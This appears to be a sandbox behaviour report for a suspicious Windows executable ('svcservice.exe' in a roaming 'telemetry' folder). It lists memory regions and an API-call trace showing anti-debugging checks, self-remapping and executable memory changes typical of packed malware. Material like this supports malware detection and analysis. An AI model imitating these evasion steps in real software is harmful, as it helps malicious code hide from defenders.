region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1937
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1938
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1939
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1940
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1941
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1942
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1943
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1944
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1945
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1946
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1947
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1948
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1949
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1950
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1951
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1952
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1953
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1954
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1955
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1956
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1957
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1958
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1959
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1960
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1961
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1962
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1963
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1964
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1965
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1966
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1967
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1968
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1969
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1970
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1971
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1972
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1973
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1974
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1975
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1976
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1977
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1978
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1979
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1980
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1981
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1982
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1983
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1984
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1985
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1986
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1987
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1988
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1989
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1990
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1991
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1992
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1993
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1994
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1995
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1996
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1997
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1998
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1999
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 2000
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 2001
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 2002
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 2003
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 2004
start_va = 0x4e0000
end_va = 0x4e0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004e0000"
filename = ""
Region:
id = 2005
start_va = 0x4f0000
end_va = 0x4f0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004f0000"
filename = ""
Region:
id = 2006
start_va = 0x500000
end_va = 0x500fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000500000"
filename = ""
Region:
id = 2007
start_va = 0x2da0000
end_va = 0x30d6fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 2008
start_va = 0x73880000
end_va = 0x73b4afff
monitored = 0
entry_point = 0x73abc4c0
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll")
Region:
id = 2009
start_va = 0x73da0000
end_va = 0x73e31fff
monitored = 0
entry_point = 0x73dd8cf0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")
Region:
id = 2010
start_va = 0x2c00000
end_va = 0x2ce9fff
monitored = 0
entry_point = 0x2c3d650
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")
Region:
id = 2011
start_va = 0x2d90000
end_va = 0x2d9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002d90000"
filename = ""
Region:
id = 2012
start_va = 0x510000
end_va = 0x510fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "counters.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat")
Region:
id = 2013
start_va = 0x74840000
end_va = 0x7489efff
monitored = 0
entry_point = 0x74844af0
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")
Region:
id = 2014
start_va = 0x71240000
end_va = 0x71251fff
monitored = 0
entry_point = 0x71244510
region_type = mapped_file
name = "ondemandconnroutehelper.dll"
filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll")
Region:
id = 2015
start_va = 0x71210000
end_va = 0x7123efff
monitored = 0
entry_point = 0x7121bb70
region_type = mapped_file
name = "iphlpapi.dll"
filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")
Region:
id = 2016
start_va = 0x71170000
end_va = 0x7120afff
monitored = 0
entry_point = 0x711af7e0
region_type = mapped_file
name = "winhttp.dll"
filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll")
Region:
id = 2017
start_va = 0x530000
end_va = 0x56ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000530000"
filename = ""
Region:
id = 2018
start_va = 0x5b0000
end_va = 0x6affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000005b0000"
filename = ""
Region:
id = 2019
start_va = 0x2c00000
end_va = 0x2cfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002c00000"
filename = ""
Region:
id = 2020
start_va = 0x71120000
end_va = 0x7116efff
monitored = 0
entry_point = 0x7112d850
region_type = mapped_file
name = "mswsock.dll"
filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")
Region:
id = 2021
start_va = 0x570000
end_va = 0x5affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000570000"
filename = ""
Region:
id = 2022
start_va = 0x30e0000
end_va = 0x31dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000030e0000"
filename = ""
Region:
id = 2023
start_va = 0x76da0000
end_va = 0x76da6fff
monitored = 0
entry_point = 0x76da1e10
region_type = mapped_file
name = "nsi.dll"
filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")
Region:
id = 2024
start_va = 0x70750000
end_va = 0x707d3fff
monitored = 0
entry_point = 0x70776530
region_type = mapped_file
name = "dnsapi.dll"
filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")
Region:
id = 2025
start_va = 0x714a0000
end_va = 0x7161dfff
monitored = 0
entry_point = 0x7151c630
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll")
Region:
id = 2026
start_va = 0x71110000
end_va = 0x71117fff
monitored = 0
entry_point = 0x71111fc0
region_type = mapped_file
name = "winnsi.dll"
filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")
Region:
id = 2027
start_va = 0xbd0000
end_va = 0xbd0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000bd0000"
filename = ""
Region:
id = 2028
start_va = 0xbe0000
end_va = 0xc1ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000be0000"
filename = ""
Region:
id = 2029
start_va = 0x31e0000
end_va = 0x32dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000031e0000"
filename = ""
Region:
id = 2030
start_va = 0xc20000
end_va = 0xc22fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mswsock.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mswsock.dll.mui")
Region:
id = 2031
start_va = 0xc30000
end_va = 0xc37fff
monitored = 0
entry_point = 0xc319c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll")
Region:
id = 2032
start_va = 0xc40000
end_va = 0xc40fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui")
Region:
id = 2033
start_va = 0xc30000
end_va = 0xc37fff
monitored = 0
entry_point = 0xc319c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll")
Region:
id = 2034
start_va = 0xc40000
end_va = 0xc40fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui")
Region:
id = 2035
start_va = 0xc30000
end_va = 0xc37fff
monitored = 0
entry_point = 0xc319c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll")
Region:
id = 2036
start_va = 0xc40000
end_va = 0xc40fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui")
Region:
id = 2037
start_va = 0xc30000
end_va = 0xc37fff
monitored = 0
entry_point = 0xc319c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll")
Region:
id = 2038
start_va = 0xc40000
end_va = 0xc40fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui")
Region:
id = 2039
start_va = 0xc30000
end_va = 0xc3ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000c30000"
filename = ""
Thread:
id = 149
os_tid = 0xda8
[0123.054] LocalAlloc (uFlags=0x0, uBytes=0xc8) returned 0x5c6e10
[0123.061] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76840000
[0123.068] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x76ed0000
[0123.086] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1a, ProcessInformation=0x18f604, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x18f604, ReturnLength=0x0) returned 0x0
[0123.090] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x28, ProcessInformation=0x18f5d4, ProcessInformationLength=0xc) returned 0x0
[0123.091] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x7, ProcessInformation=0x18f04c, ProcessInformationLength=0x8, ReturnLength=0x0 | out: ProcessInformation=0x18f04c, ReturnLength=0x0) returned 0x0
[0123.827] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x18f04c, ProcessInformationLength=0x8, ReturnLength=0x18f7e0 | out: ProcessInformation=0x18f04c, ReturnLength=0x18f7e0) returned 0xc0000353
[0123.828] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x18f04c, ProcessInformationLength=0x8, ReturnLength=0x1 | out: ProcessInformation=0x18f04c, ReturnLength=0x1) returned 0xc0000005
[0123.830] NtSetInformationThread (ThreadHandle=0xfffffffffffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0
[0123.830] NtQuerySystemInformation (in: SystemInformationClass=0x23, SystemInformation=0x18f774, Length=0x2, ResultLength=0x0 | out: SystemInformation=0x18f774, ResultLength=0x0) returned 0x0
[0123.831] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x18f790, Length=0x0, ResultLength=0x18f780 | out: SystemInformation=0x18f790, ResultLength=0x18f780*=0x991c) returned 0xc0000004
[0123.832] LocalAlloc (uFlags=0x0, uBytes=0x13238) returned 0x5cb878
[0123.833] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x5cb878, Length=0x13238, ResultLength=0x0 | out: SystemInformation=0x5cb878, ResultLength=0x0) returned 0x0
[0124.019] LocalFree (hMem=0x5cb878) returned 0x0
[0124.307] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x7, ProcessInformation=0x18f04c, ProcessInformationLength=0x8, ReturnLength=0x0 | out: ProcessInformation=0x18f04c, ReturnLength=0x0) returned 0x0
[0124.308] NtSetInformationThread (ThreadHandle=0xfffffffffffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0
[0124.309] GetModuleFileNameW (in: hModule=0xcc0000, lpFilename=0x18f29c, nSize=0xfe | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe")) returned 0x3e
[0124.313] NtOpenFile (in: FileHandle=0x18f048, DesiredAccess=0x80100080, ObjectAttributes=0x18f010*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18f038, ShareAccess=0x3, OpenOptions=0x60 | out: FileHandle=0x18f048*=0x170, IoStatusBlock=0x18f038*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0
[0124.315] NtCreateSection (in: SectionHandle=0x18f044, DesiredAccess=0x4, ObjectAttributes=0x18f010*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x170 | out: SectionHandle=0x18f044*=0x174) returned 0x0
[0124.316] NtMapViewOfSection (in: SectionHandle=0x174, ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f038*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x18f030*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x18f038*=0x2c00000, SectionOffset=0x0, ViewSize=0x18f030*=0x35638000) returned 0x0
[0124.404] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x2c00000) returned 0x0
[0124.481] NtClose (Handle=0x174) returned 0x0
[0124.481] NtClose (Handle=0x170) returned 0x0
[0124.483] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f04c*=0xcfc000, NumberOfBytesToProtect=0x18f044, NewAccessProtection=0x40, OldAccessProtection=0x18f660 | out: BaseAddress=0x18f04c*=0xcfc000, NumberOfBytesToProtect=0x18f044, OldAccessProtection=0x18f660*=0x20) returned 0x0
[0124.493] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f04c*=0xcc1000, NumberOfBytesToProtect=0x18f044, NewAccessProtection=0x40, OldAccessProtection=0x18f660 | out: BaseAddress=0x18f04c*=0xcc1000, NumberOfBytesToProtect=0x18f044, OldAccessProtection=0x18f660*=0x20) returned 0x0
[0124.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f04c*=0xceb000, NumberOfBytesToProtect=0x18f044, NewAccessProtection=0x4, OldAccessProtection=0x18f660 | out: BaseAddress=0x18f04c*=0xceb000, NumberOfBytesToProtect=0x18f044, OldAccessProtection=0x18f660*=0x2) returned 0x0
[0124.496] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f04c*=0xd21000, NumberOfBytesToProtect=0x18f044, NewAccessProtection=0x4, OldAccessProtection=0x18f660 | out: BaseAddress=0x18f04c*=0xd21000, NumberOfBytesToProtect=0x18f044, OldAccessProtection=0x18f660*=0x80) returned 0x0
[0124.497] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f04c*=0x17ad000, NumberOfBytesToProtect=0x18f044, NewAccessProtection=0x4, OldAccessProtection=0x18f660 | out: BaseAddress=0x18f04c*=0x17ad000, NumberOfBytesToProtect=0x18f044, OldAccessProtection=0x18f660*=0x2) returned 0x0
[0124.499] LocalAlloc (uFlags=0x0, uBytes=0x3e6c) returned 0x5cb878
[0125.460] LocalFree (hMem=0x5cb878) returned 0x0
[0125.462] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76840000
[0125.464] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.468] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.468] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.469] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.469] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.469] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.471] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.476] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.479] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.480] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x73f00000
[0125.482] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x76df0000
[0125.483] GetModuleHandleA (lpModuleName="SHELL32.dll") returned 0x74d70000
[0125.484] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x71290000
[0125.486] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76840000
[0125.493] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.493] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.493] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.493] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.498] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.500] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.502] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.506] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.507] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0125.508] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x73f00000
[0125.508] CloseHandle (hObject=0xdeadc0de) returned 0
[0125.510] VirtualQuery (in: lpAddress=0x11063cc, lpBuffer=0x18e320, dwLength=0x1c | out: lpBuffer=0x18e320*(BaseAddress=0x1106000, AllocationBase=0xcc0000, AllocationProtect=0x80, RegionSize=0x6a6000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c
[0125.511] RtlUnwind (TargetFrame=0x18f854, TargetIp=0xd18538, ExceptionRecord=0x0, ReturnValue=0x0)
